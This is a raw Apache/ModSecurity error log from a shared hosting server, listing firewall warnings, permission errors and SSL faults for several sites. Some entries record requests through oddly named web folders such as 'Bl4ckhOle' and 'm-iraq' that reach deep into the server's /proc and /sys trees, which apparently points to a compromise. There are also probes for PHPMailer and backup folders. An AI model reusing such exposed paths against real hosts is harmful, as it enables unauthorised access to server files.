[Fri Jul 17 09:32:57.854718 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almpcejME1mgqYZ5O94sgwAAAAE"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:32:57.854752 2026] [security2:error] [pid 2031172:tid 2031172] [client 74.7.227.140:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/index.php"] [unique_id "almpcejME1mgqYZ5O94sgwAAAAE"], referer: http://anandaobauae.org/?C=S;O=Auploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/events/1686741332_mn2023-big.jpeguploads/img/news/1686742893_14.%20Viharaya%20-%20Renavation.jpguploads/img/news/1686742380_13.%20Donation%20%20-%20Donation%20of%20Kids%20Face%20Masks%20for%20little%20Anandians-%20Pic2.jpguploads/img/news/1686743934_19.%20Events%20-%20Plate%20Champs%20%20-%202022.jpguploads/img/news/1686743137_15.%20Falicitation%20-%20Mr.%20Saliya%20Senanayake.jpg
[Fri Jul 17 09:32:57.935344 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:32:58.149077 2026] [proxy_fcgi:error] [pid 2032156:tid 2032156] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:32:58.362159 2026] [proxy_fcgi:error] [pid 2018768:tid 2018768] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:32:58.552541 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:32:58.770055 2026] [proxy_fcgi:error] [pid 1993572:tid 1993572] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:32:58.962764 2026] [proxy_fcgi:error] [pid 2013830:tid 2013830] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:32:59.173157 2026] [proxy_fcgi:error] [pid 2047046:tid 2047046] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:32:59.395439 2026] [proxy_fcgi:error] [pid 2031172:tid 2031172] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:32:59.602291 2026] [proxy_fcgi:error] [pid 2030955:tid 2030955] [client 4.194.24.143:0] AH01071: Got error 'Primary script unknown'
[Fri Jul 17 09:33:03.082181 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:04.704403 2026] [ssl:error] [pid 2039911:tid 2039911] (70014)End of file found: [client 66.85.158.91:33708] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:33:04.865716 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/"] [unique_id "almpeIe39YUk0SgV8AVA2wAAABE"]
[Fri Jul 17 09:33:04.866291 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/"] [unique_id "almpeIe39YUk0SgV8AVA2wAAABE"]
[Fri Jul 17 09:33:04.866629 2026] [authz_core:error] [pid 2030804:tid 2030804] [client 216.244.66.236:0] AH01630: client denied by server configuration: /home/anandaob/public_html/KSoft-AnandaOBAUAE_2/error_log
[Fri Jul 17 09:33:04.867631 2026] [security2:error] [pid 2030804:tid 2030804] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/KSoft-AnandaOBAUAE_2/"] [unique_id "almpeIe39YUk0SgV8AVA2wAAABE"]
[Fri Jul 17 09:33:06.553702 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/anandaV4/img/"] [unique_id "almpejsMb3am0TgkjEThSwAAAAo"]
[Fri Jul 17 09:33:06.554027 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/anandaV4/img/"] [unique_id "almpejsMb3am0TgkjEThSwAAAAo"]
[Fri Jul 17 09:33:06.598322 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/anandaV4/img/"] [unique_id "almpejsMb3am0TgkjEThSwAAAAo"]
[Fri Jul 17 09:33:07.720270 2026] [mime:warn] [pid 2032156:tid 2032156] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:08.326035 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:33982] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:33:09.975452 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:11.431071 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:13.225735 2026] [security2:error] [pid 2018741:tid 2018741] [client 4.194.217.15:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/jrdclk-global": Permission denied [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almpgboj0IkvhSCYadmIhQAAAAQ"]
[Fri Jul 17 09:33:13.225768 2026] [security2:error] [pid 2018741:tid 2018741] [client 4.194.217.15:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/jrdclk-ip": Permission denied [hostname "jrdc.lk"] [uri "/jrdcweb/index.html"] [unique_id "almpgboj0IkvhSCYadmIhQAAAAQ"]
[Fri Jul 17 09:33:13.457541 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:13.557641 2026] [mime:warn] [pid 1993671:tid 1993671] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:13.723241 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:13.773206 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:13.811757 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:14.549010 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:14.896234 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:15.214646 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:15.545267 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:15.819035 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:15.873194 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:15.915825 2026] [mime:warn] [pid 2034024:tid 2034024] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:16.097509 2026] [mime:warn] [pid 2036488:tid 2036488] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:16.188978 2026] [mime:warn] [pid 2019501:tid 2019501] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:16.737851 2026] [mime:warn] [pid 2018741:tid 2018741] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:17.011926 2026] [mime:warn] [pid 1993572:tid 1993572] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:17.207557 2026] [mime:warn] [pid 2030774:tid 2030774] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:17.250671 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:18.499640 2026] [security2:error] [pid 1993572:tid 1993572] [client 66.249.70.162:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-global": Permission denied [hostname "epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-28-04_10_22.pdf"] [unique_id "almphol9vhFBGA6D8l-BJAAAAAw"]
[Fri Jul 17 09:33:18.499669 2026] [security2:error] [pid 1993572:tid 1993572] [client 66.249.70.162:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/epidgovl-ip": Permission denied [hostname "epid.gov.lk"] [uri "/web/images/pdf/corona_virus_report/sitrep-gl-en-28-04_10_22.pdf"] [unique_id "almphol9vhFBGA6D8l-BJAAAAAw"]
[Fri Jul 17 09:33:18.850236 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:19.029013 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:21.064129 2026] [mime:warn] [pid 1993619:tid 1993619] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:23.327846 2026] [ssl:error] [pid 2036488:tid 2036488] (70014)End of file found: [client 66.85.158.91:33954] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:33:23.389951 2026] [mime:warn] [pid 2030804:tid 2030804] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:24.077220 2026] [ssl:error] [pid 2032156:tid 2032156] (70014)End of file found: [client 66.85.158.91:33992] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:33:24.342447 2026] [security2:error] [pid 2030955:tid 2030955] [client 57.141.18.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory96/node0/memory133/node0/memory137/node0/memory84/"] [unique_id "almpjPwooI4qY7Jg93pcDAAAABM"]
[Fri Jul 17 09:33:24.342485 2026] [security2:error] [pid 2030955:tid 2030955] [client 57.141.18.119:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/sys/bus/memory/devices/memory96/node0/memory133/node0/memory137/node0/memory84/"] [unique_id "almpjPwooI4qY7Jg93pcDAAAABM"]
[Fri Jul 17 09:33:25.333286 2026] [mime:warn] [pid 2013829:tid 2013829] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:25.474694 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:34072] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:33:26.212388 2026] [ssl:error] [pid 1993671:tid 1993671] (70014)End of file found: [client 66.85.158.91:34116] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:33:31.899654 2026] [mime:warn] [pid 2030955:tid 2030955] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:32.606304 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:36.900911 2026] [security2:error] [pid 2018757:tid 2018757] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "www.anandaobauae.org"] [uri "/PHPMailer/"] [unique_id "almpmEkXT4NBqALj2laDkQAAABA"]
[Fri Jul 17 09:33:36.901438 2026] [security2:error] [pid 2018757:tid 2018757] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "www.anandaobauae.org"] [uri "/PHPMailer/"] [unique_id "almpmEkXT4NBqALj2laDkQAAABA"]
[Fri Jul 17 09:33:36.909708 2026] [security2:error] [pid 2018757:tid 2018757] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "www.anandaobauae.org"] [uri "/PHPMailer/"] [unique_id "almpmEkXT4NBqALj2laDkQAAABA"]
[Fri Jul 17 09:33:36.989508 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/module/jbd2/srcversion"] [unique_id "almpmDsMb3am0TgkjEThawAAAAo"]
[Fri Jul 17 09:33:36.989545 2026] [security2:error] [pid 2028246:tid 2028246] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/module/jbd2/srcversion"] [unique_id "almpmDsMb3am0TgkjEThawAAAAo"]
[Fri Jul 17 09:33:41.878854 2026] [ssl:error] [pid 2031172:tid 2031172] (70014)End of file found: [client 66.85.158.91:53174] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:33:42.765663 2026] [security2:error] [pid 2036488:tid 2036488] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/libexec/git-core/git-sparse-checkout"] [unique_id "almpnrEKozcCJ-ReuK0JvgAAAAg"]
[Fri Jul 17 09:33:42.765699 2026] [security2:error] [pid 2036488:tid 2036488] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/usr/libexec/git-core/git-sparse-checkout"] [unique_id "almpnrEKozcCJ-ReuK0JvgAAAAg"]
[Fri Jul 17 09:33:45.383879 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:53382] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:33:47.092057 2026] [ssl:error] [pid 2030774:tid 2030774] (70014)End of file found: [client 66.85.158.91:53424] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:33:47.109824 2026] [security2:error] [pid 2013797:tid 2013797] [client 57.141.18.25:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/cpu/devices/cpu2/node0/memory37/node0/memory48/node0/memory124/"] [unique_id "almpo1h1WDijTxd1xw5TJwAAAAc"]
[Fri Jul 17 09:33:47.111621 2026] [security2:error] [pid 2013797:tid 2013797] [client 57.141.18.25:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "www.anandaobauae.org"] [uri "/js/Bl4ckhOle/root/proc/thread-self/root/proc/thread-self/root/sys/bus/cpu/devices/cpu2/node0/memory37/node0/memory48/node0/memory124/"] [unique_id "almpo1h1WDijTxd1xw5TJwAAAAc"]
[Fri Jul 17 09:33:47.289730 2026] [ssl:error] [pid 2013829:tid 2013829] (70014)End of file found: [client 66.85.158.91:53452] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:33:50.784622 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:4/power/runtime_status"] [unique_id "almpplCBpfuYyhJ140vZbgAAAB4"]
[Fri Jul 17 09:33:50.784656 2026] [security2:error] [pid 2018768:tid 2018768] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/4:4/power/runtime_status"] [unique_id "almpplCBpfuYyhJ140vZbgAAAB4"]
[Fri Jul 17 09:33:51.021169 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:53712] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:33:51.211427 2026] [mime:warn] [pid 2050576:tid 2050576] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:33:51.801989 2026] [ssl:error] [pid 2029579:tid 2029579] (70014)End of file found: [client 66.85.158.91:41616] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:33:52.132146 2026] [security2:error] [pid 2050581:tid 2050581] [client 185.191.171.8:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/lib64/python3.12/encodings/johab.py"] [unique_id "almpqMzGNCrIh2ysmniMYwAAABY"]
[Fri Jul 17 09:33:52.132204 2026] [security2:error] [pid 2050581:tid 2050581] [client 185.191.171.8:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "anandaobauae.org"] [uri "/js/Bl4ckhOle/root/home/cagefs-skeleton/lib64/python3.12/encodings/johab.py"] [unique_id "almpqMzGNCrIh2ysmniMYwAAABY"]
[Fri Jul 17 09:33:54.320863 2026] [ssl:error] [pid 2050577:tid 2050577] (70014)End of file found: [client 66.85.158.91:41690] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:33:54.936389 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:09/path"] [unique_id "almpqg5GPQ6hs4VrfMpJBgAAAAY"]
[Fri Jul 17 09:33:54.936436 2026] [security2:error] [pid 1993671:tid 1993671] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/devices/pci0000:00/firmware_node/device:09/path"] [unique_id "almpqg5GPQ6hs4VrfMpJBgAAAAY"]
[Fri Jul 17 09:33:57.659330 2026] [ssl:error] [pid 2050572:tid 2050572] (70014)End of file found: [client 66.85.158.91:41760] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:33:58.255955 2026] [ssl:error] [pid 2018768:tid 2018768] (70014)End of file found: [client 66.85.158.91:41788] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:33:58.404958 2026] [ssl:error] [pid 2050583:tid 2050583] (70014)End of file found: [client 66.85.158.91:41806] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:33:59.176905 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:41834] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:34:00.661562 2026] [ssl:error] [pid 2050580:tid 2050580] (70014)End of file found: [client 66.85.158.91:41908] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:34:02.096788 2026] [mime:warn] [pid 2031172:tid 2031172] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:34:04.805085 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty50/dev"] [unique_id "almptFh1WDijTxd1xw5TNgAAAAc"]
[Fri Jul 17 09:34:04.805157 2026] [security2:error] [pid 2013797:tid 2013797] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/class/tty/tty50/dev"] [unique_id "almptFh1WDijTxd1xw5TNgAAAAc"]
[Fri Jul 17 09:34:05.103964 2026] [ssl:error] [pid 2013830:tid 2013830] (70014)End of file found: [client 66.85.158.91:40232] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:34:05.441693 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.244.66.236:0] ModSecurity: Warning. String match within "/accept-charset/ /content-encoding/ /proxy/ /lock-token/ /content-range/ /if/" at TX:header_name_accept-charset. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1127"] [id "920450"] [msg "HTTP header is restricted by policy (/accept-charset/)"] [data "Restricted header detected: /accept-charset/"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/12.1"] [hostname "anandaobauae.org"] [uri "/public_html_backup_20180426/css/"] [unique_id "almptU_0b3nWp8txtSDD2wAAAA0"]
[Fri Jul 17 09:34:05.442072 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "anandaobauae.org"] [uri "/public_html_backup_20180426/css/"] [unique_id "almptU_0b3nWp8txtSDD2wAAAA0"]
[Fri Jul 17 09:34:05.442707 2026] [security2:error] [pid 2047046:tid 2047046] [client 216.244.66.236:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=0,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "anandaobauae.org"] [uri "/public_html_backup_20180426/css/"] [unique_id "almptU_0b3nWp8txtSDD2wAAAA0"]
[Fri Jul 17 09:34:06.352461 2026] [ssl:error] [pid 2050581:tid 2050581] (70014)End of file found: [client 66.85.158.91:40388] AH02013: coalesce failed to read from data bucket
[Fri Jul 17 09:34:07.014268 2026] [mime:warn] [pid 2018768:tid 2018768] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:34:11.475726 2026] [mime:warn] [pid 2039911:tid 2039911] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:34:11.730776 2026] [mime:warn] [pid 2013797:tid 2013797] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:34:12.131623 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-global": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/246:1/device/subsystem_device"] [unique_id "almpvOjME1mgqYZ5O94szQAAAAE"]
[Fri Jul 17 09:34:12.131657 2026] [security2:error] [pid 2031172:tid 2031172] [client 216.73.216.245:0] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/anandaob-ip": Permission denied [hostname "mail.anandaobauae.org"] [uri "/public_html/uploads/img/news/m-iraq/root/sys/dev/char/246:1/device/subsystem_device"] [unique_id "almpvOjME1mgqYZ5O94szQAAAAE"]
[Fri Jul 17 09:34:12.902471 2026] [mime:warn] [pid 2050580:tid 2050580] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:34:12.913600 2026] [mime:warn] [pid 2028246:tid 2028246] AH01599: Cannot get media type from 'txt'
[Fri Jul 17 09:34:13.476187 2026] [ssl:error] [pid 2030955:tid 2030955] (70014)End of file found: [client 66.85.158.91:32928] AH02013: coalesce failed to read from data bucket
